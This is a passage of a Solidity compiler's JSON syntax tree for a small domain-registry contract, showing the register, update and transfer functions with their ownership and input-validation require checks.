constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":1610,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1552,\"name\":\"ElementaryTypeName\",\"src\":\"727:7:5\"}],\"id\":1553,\"name\":\"VariableDeclaration\",\"src\":\"727:14:5\"}],\"id\":1554,\"name\":\"ParameterList\",\"src\":\"691:51:5\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1556,\"name\":\"ParameterList\",\"src\":\"761:0:5\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1557,\"name\":\"Identifier\",\"src\":\"765:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1551,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1558,\"name\":\"Identifier\",\"src\":\"773:3:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1559,\"name\":\"Literal\",\"src\":\"780:1:5\"}],\"id\":1560,\"name\":\"BinaryOperation\",\"src\":\"773:8:5\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":1561,\"name\":\"Literal\",\"src\":\"783:13:5\"}],\"id\":1562,\"name\":\"FunctionCall\",\"src\":\"765:32:5\"}],\"id\":1563,\"name\":\"ExpressionStatement\",\"src\":\"765:32:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced\",\"typeString\":\"literal_string \\\"Invalid domain.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1564,\"name\":\"Identifier\",\"src\":\"801:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(bytes storage pointer)\"},\"children\":[{\"attributes\":{\"name\":\"bytes\"},\"id\":1565,\"name\":\"ElementaryTypeName\",\"src\":\"809:5:5\"}],\"id\":1566,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"809:5:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1549,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1567,\"name\":\"Identifier\",\"src\":\"815:7:5\"}],\"id\":1568,\"name\":\"FunctionCall\",\"src\":\"809:14:5\"}],\"id\":1569,\"name\":\"MemberAccess\",\"src\":\"809:21:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1570,\"name\":\"Literal\",\"src\":\"833:1:5\"}],\"id\":1571,\"name\":\"BinaryOperation\",\"src\":\"809:25:5\"},{\"attributes\":{\"hexvalue\":\"496e76616c696420646f6d61696e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid domain.\\\"\",\"value\":\"Invalid domain.\"},\"id\":1572,\"name\":\"Literal\",\"src\":\"836:17:5\"}],\"id\":1573,\"name\":\"FunctionCall\",\"src\":\"801:53:5\"}],\"id\":1574,\"name\":\"ExpressionStatement\",\"src\":\"801:53:5\"},{\"attributes\":{\"assignments\":[1576]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":1609,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":1575,\"name\":\"UserDefinedTypeName\",\"src\":\"859:5:5\"}],\"id\":1576,\"name\":\"VariableDeclaration\",\"src\":\"859:19:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1577,\"name\":\"Identifier\",\"src\":\"881:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1549,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1578,\"name\":\"Identifier\",\"src\":\"886:7:5\"}],\"id\":1579,\"name\":\"IndexAccess\",\"src\":\"881:13:5\"}],\"id\":1580,\"name\":\"VariableDeclarationStatement\",\"src\":\"859:35:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8\",\"typeString\":\"literal_string \\\"Domain already taken.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1581,\"name\":\"Identifier\",\"src\":\"898:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1576,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1582,\"name\":\"Identifier\",\"src\":\"906:5:5\"}],\"id\":1583,\"name\":\"MemberAccess\",\"src\":\"906:8:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1584,\"name\":\"Literal\",\"src\":\"918:1:5\"}],\"id\":1585,\"name\":\"BinaryOperation\",\"src\":\"906:13:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1576,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1586,\"name\":\"Identifier\",\"src\":\"923:5:5\"}],\"id\":1587,\"name\":\"MemberAccess\",\"src\":\"923:11:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1588,\"name\":\"ElementaryTypeName\",\"src\":\"938:7:5\"}],\"id\":1589,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"938:7:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1590,\"name\":\"Literal\",\"src\":\"946:1:5\"}],\"id\":1591,\"name\":\"FunctionCall\",\"src\":\"938:10:5\"}],\"id\":1592,\"name\":\"BinaryOperation\",\"src\":\"923:25:5\"}],\"id\":1593,\"name\":\"BinaryOperation\",\"src\":\"906:42:5\"},{\"attributes\":{\"hexvalue\":\"446f6d61696e20616c72656164792074616b656e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Domain already taken.\\\"\",\"value\":\"Domain already taken.\"},\"id\":1594,\"name\":\"Literal\",\"src\":\"950:23:5\"}],\"id\":1595,\"name\":\"FunctionCall\",\"src\":\"898:76:5\"}],\"id\":1596,\"name\":\"ExpressionStatement\",\"src\":\"898:76:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1576,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1597,\"name\":\"Identifier\",\"src\":\"979:5:5\"}],\"id\":1599,\"name\":\"MemberAccess\",\"src\":\"979:8:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1551,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1600,\"name\":\"Identifier\",\"src\":\"990:3:5\"}],\"id\":1601,\"name\":\"Assignment\",\"src\":\"979:14:5\"}],\"id\":1602,\"name\":\"ExpressionStatement\",\"src\":\"979:14:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1576,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1603,\"name\":\"Identifier\",\"src\":\"997:5:5\"}],\"id\":1605,\"name\":\"MemberAccess\",\"src\":\"997:11:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1553,\"type\":\"address\",\"value\":\"_owner\"},\"id\":1606,\"name\":\"Identifier\",\"src\":\"1011:6:5\"}],\"id\":1607,\"name\":\"Assignment\",\"src\":\"997:20:5\"}],\"id\":1608,\"name\":\"ExpressionStatement\",\"src\":\"997:20:5\"}],\"id\":1609,\"name\":\"Block\",\"src\":\"761:260:5\"}],\"id\":1610,\"name\":\"FunctionDefinition\",\"src\":\"674:347:5\"},{\"attributes\":{\"baseFunctions\":[1443],\"functionSelector\":\"f7a46696\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"update\",\"scope\":1723,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":1616,\"name\":\"OverrideSpecifier\",\"src\":\"1084:8:5\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1654,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1611,\"name\":\"ElementaryTypeName\",\"src\":\"1040:6:5\"}],\"id\":1612,\"name\":\"VariableDeclaration\",\"src\":\"1040:21:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1654,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1613,\"name\":\"ElementaryTypeName\",\"src\":\"1063:6:5\"}],\"id\":1614,\"name\":\"VariableDeclaration\",\"src\":\"1063:10:5\"}],\"id\":1615,\"name\":\"ParameterList\",\"src\":\"1039:35:5\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1617,\"name\":\"ParameterList\",\"src\":\"1093:0:5\"},{\"children\":[{\"attributes\":{\"assignments\":[1619]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":1653,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":1618,\"name\":\"UserDefinedTypeName\",\"src\":\"1097:5:5\"}],\"id\":1619,\"name\":\"VariableDeclaration\",\"src\":\"1097:19:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1620,\"name\":\"Identifier\",\"src\":\"1119:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1612,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1621,\"name\":\"Identifier\",\"src\":\"1124:7:5\"}],\"id\":1622,\"name\":\"IndexAccess\",\"src\":\"1119:13:5\"}],\"id\":1623,\"name\":\"VariableDeclarationStatement\",\"src\":\"1097:35:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1624,\"name\":\"Identifier\",\"src\":\"1137:7:5\"},{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1625,\"name\":\"Identifier\",\"src\":\"1150:3:5\"}],\"id\":1626,\"name\":\"MemberAccess\",\"src\":\"1150:10:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"origin\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-26,\"type\":\"tx\",\"value\":\"tx\"},\"id\":1627,\"name\":\"Identifier\",\"src\":\"1164:2:5\"}],\"id\":1628,\"name\":\"MemberAccess\",\"src\":\"1164:9:5\"}],\"id\":1629,\"name\":\"BinaryOperation\",\"src\":\"1150:23:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1619,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1630,\"name\":\"Identifier\",\"src\":\"1177:5:5\"}],\"id\":1631,\"name\":\"MemberAccess\",\"src\":\"1177:11:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1632,\"name\":\"Identifier\",\"src\":\"1192:3:5\"}],\"id\":1633,\"name\":\"MemberAccess\",\"src\":\"1192:10:5\"}],\"id\":1634,\"name\":\"BinaryOperation\",\"src\":\"1177:25:5\"}],\"id\":1635,\"name\":\"BinaryOperation\",\"src\":\"1150:52:5\"}],\"id\":1636,\"name\":\"TupleExpression\",\"src\":\"1149:54:5\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the owner.\"},\"id\":1637,\"name\":\"Literal\",\"src\":\"1208:16:5\"}],\"id\":1638,\"name\":\"FunctionCall\",\"src\":\"1137:91:5\"}],\"id\":1639,\"name\":\"ExpressionStatement\",\"src\":\"1137:91:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1640,\"name\":\"Identifier\",\"src\":\"1233:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1614,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1641,\"name\":\"Identifier\",\"src\":\"1241:3:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1642,\"name\":\"Literal\",\"src\":\"1248:1:5\"}],\"id\":1643,\"name\":\"BinaryOperation\",\"src\":\"1241:8:5\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":1644,\"name\":\"Literal\",\"src\":\"1251:13:5\"}],\"id\":1645,\"name\":\"FunctionCall\",\"src\":\"1233:32:5\"}],\"id\":1646,\"name\":\"ExpressionStatement\",\"src\":\"1233:32:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1619,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1647,\"name\":\"Identifier\",\"src\":\"1269:5:5\"}],\"id\":1649,\"name\":\"MemberAccess\",\"src\":\"1269:8:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1614,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1650,\"name\":\"Identifier\",\"src\":\"1280:3:5\"}],\"id\":1651,\"name\":\"Assignment\",\"src\":\"1269:14:5\"}],\"id\":1652,\"name\":\"ExpressionStatement\",\"src\":\"1269:14:5\"}],\"id\":1653,\"name\":\"Block\",\"src\":\"1093:194:5\"}],\"id\":1654,\"name\":\"FunctionDefinition\",\"src\":\"1024:263:5\"},{\"attributes\":{\"baseFunctions\":[1451],\"functionSelector\":\"fbf58b3e\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"transfer\",\"scope\":1723,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":1660,\"name\":\"OverrideSpecifier\",\"src\":\"1356:8:5\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1701,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1655,\"name\":\"ElementaryTypeName\",\"src\":\"1308:6:5\"}],\"id\":1656,\"name\":\"VariableDeclaration\",\"src\":\"1308:21:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":1701,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1657,\"name\":\"ElementaryTypeName\",\"src\":\"1331:7:5\"}],\"id\":1658,\"name\":\"VariableDeclaration\",\"src\":\"1331:14:5\"}],\"id\":1659,\"name\":\"ParameterList\",\"src\":\"1307:39:5\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1661,\"name\":\"ParameterList\",\"src\":\"1365:0:5\"},{\"children\":[{\"attributes\":{\"assignments\":[1663]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":1700,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":1662,\"name\":\"UserDefinedTypeName\",\"src\":\"1369:5:5\"}],\"id\":1663,\"name\":\"VariableDeclaration\",\"src\":\"1369:19:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1664,\"name\":\"Identifier\",\"src\":\"1391:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1656,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1665,\"name\":\"Identifier\",\"src\":\"1396:7:5\"}],\"id\":1666,\"name\":\"IndexAccess\",\"src\":\"1391:13:5\"}],\"id\":1667,\"name\":\"VariableDeclarationStatement\",\"src\":\"1369:35:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1668,\"name\":\"Identifier\",\"src\":\"1576:7:5\"},{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1669,\"name\":\"Identifier\",\"src\":\"1589:3:5\"}],\"id\":1670,\"name\":\"MemberAccess\",\"src\":\"1589:10:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"origin\",\"type\":\"address 